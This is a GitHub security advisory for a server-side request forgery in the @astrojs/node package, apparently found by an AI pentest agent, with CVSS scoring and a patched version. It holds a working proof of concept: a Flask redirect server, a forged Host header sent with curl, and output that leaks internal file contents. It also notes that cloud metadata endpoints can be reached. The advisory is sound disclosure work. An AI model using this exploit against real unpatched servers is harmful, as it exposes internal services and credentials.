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Full-Read SSRF in error rendering via Host: header injection

Moderate
matthewp published GHSA-qq67-mvv5-fw3g Feb 23, 2026

Package

npm @astrojs/node (npm)

Affected versions

9.5.3

Patched versions

>= 9.5.4

Description

As part of our research on improving our AI pentest, we have uncovered the following issue in the Astro framework. We've tided up the report, but you can also find the original agent finding at the bottom of this report.

Summary

Server-Side Rendered pages that return an error with a prerendered custom error page (eg. 404.astro or 500.astro) are vulnerable to SSRF. If the Host: header is changed to an attacker's server, it will be fetched on /500.html and they can redirect this to any internal URL to read the response body through the first request.

Details

The following line of code fetches statusURL and returns the response back to the client:

const response = await prerenderedErrorPageFetch(statusURL.toString() as ErrorPagePath);

statusURL comes from this.baseWithoutTrailingSlash, which is built from the Host: header. prerenderedErrorPageFetch() is just fetch(), and follows redirects. This makes it possible for an attacker to set the Host: header to their server (eg. Host: attacker.tld), and if the server still receives the request without normalization, Astro will now fetch http://attacker.tld/500.html.

The attacker can then redirect this request to http://localhost:8000/ssrf.txt, for example, to fetch any locally listening service. The response code is not checked, because as the comment in the code explains, this fetch may give a 200 OK. The body and headers are returned back to the attacker.

Looking at the vulnerable code, the way to reach this is if the renderError() function is called (error response during SSR) and the error page is prerendered (custom 500.astro error page). The PoC below shows how a basic project with these requirements can be set up.

Note: Another common vulnerable pattern for 404.astro we saw is:

return new Response(null, {status: 404});

Also, it does not matter what allowedDomains is set to, since it only checks the X-Forwarded-Host: header.

protected matchesAllowedDomains(forwardedHost: string, protocol?: string): boolean {

PoC

  1. Create a new empty project
npm create astro@latest poc -- --template minimal --install --no-git --yes
  1. Create poc/src/pages/error.astro which throws an error with SSR:
---
export const prerender = false;

throw new Error("Test")
---
  1. Create poc/src/pages/500.astro with any content like:
<p>500 Internal Server Error</p>
  1. Build and run the app
cd poc
npx astro add node --yes
npm run build && npm run preview
  1. Set up an "internal server" which we will SSRF to. Create a file called ssrf.txt and host it locally on http://localhost:8000:
cd $(mktemp -d)
echo "SECRET CONTENT" > ssrf.txt
python3 -m http.server
  1. Set up attacker's server with exploit code and run it, so that its server becomes available on http://localhost:5000:
# pip install Flask
from flask import Flask, redirect

app = Flask(__name__)

@app.route("/500.html")
def exploit():
    return redirect("http://127.0.0.1:8000/ssrf.txt")

if __name__ == "__main__":
    app.run()
  1. Send the following request to the server, and notice the 500 error returns "SECRET CONTENT".
$ curl -i http://localhost:4321/error -H 'Host: localhost:5000'
HTTP/1.1 500 OK
content-type: text/plain
date: Tue, 03 Feb 2026 09:51:28 GMT
last-modified: Tue, 03 Feb 2026 09:51:09 GMT
server: SimpleHTTP/0.6 Python/3.12.3
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

SECRET CONTENT

Impact

An attacker who can access the application without Host: header validation (eg. through finding the origin IP behind a proxy, or just by default) can fetch their own server to redirect to any internal IP. With this they can fetch cloud metadata IPs and interact with services in the internal network or localhost.

For this to be vulnerable, a common feature needs to be used, with direct access to the server (no proxies).

Original Agent Report

agent_report

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N

CVE ID

CVE-2026-25545

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits